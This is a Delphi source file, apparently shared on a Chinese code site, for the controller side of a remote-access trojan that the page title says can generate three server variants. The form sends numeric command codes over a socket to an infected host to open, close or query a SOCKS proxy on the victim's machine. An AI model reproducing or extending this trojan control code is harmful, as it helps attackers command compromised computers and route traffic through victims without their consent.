unit6.pas

来自「由于该木马有三个服务端可以选择生成」· PAS 代码 · 共 87 行

unit Unit6;

interface

uses
  Windows, Messages, SysUtils, Variants,winsock, Classes, Graphics, Controls, Forms,
  Dialogs, Buttons, StdCtrls,ComCtrls;

type
  TForm6 = class(TForm)
    Label1: TLabel;
    Edit1: TEdit;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    SpeedButton3: TSpeedButton;
    Edit2: TEdit;
    StatusBar1: TStatusBar;
    SpeedButton4: TSpeedButton;
    procedure SpeedButton1Click(Sender: TObject);
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure SpeedButton4Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form6: TForm6;

implementation

uses Unit4, untMain;

{$R *.dfm}

procedure TForm6.SpeedButton1Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 If (frmmain.sinsrvs.ItemFocused.SubItems[1]='Lan') or
  (frmmain.sinsrvs.ItemFocused.SubItems[1]='Proxy')Then
 begin
  statusbar1.Panels[0].text:='远程的内网主机不能Socks代理.' ;
  Exit;
 end;
 sock:=strtoint(edit2.text);
 f:='74'+edit1.text;
 send(sock,f[1],length(f),0);
 statusbar1.Panels[0].text:='正在开启远程的Socks代理...' ;
end;

procedure TForm6.SpeedButton2Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 sock:=strtoint(edit2.text);
 f:='75';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在关闭远程的Socks代理...' ;
end;

procedure TForm6.SpeedButton3Click(Sender: TObject);
var
 f:string;
 sock:integer;
begin
 If frmmain.sinsrvs.ItemIndex = -1 Then Exit;
 sock:=strtoint(edit2.text);
 f:='76';
 send(sock,f[1],2,0);
 statusbar1.Panels[0].text:='正在查询远程Socks代理状态...' ;
end;

procedure TForm6.SpeedButton4Click(Sender: TObject);
begin
 close;
 form4.close;
end;

end.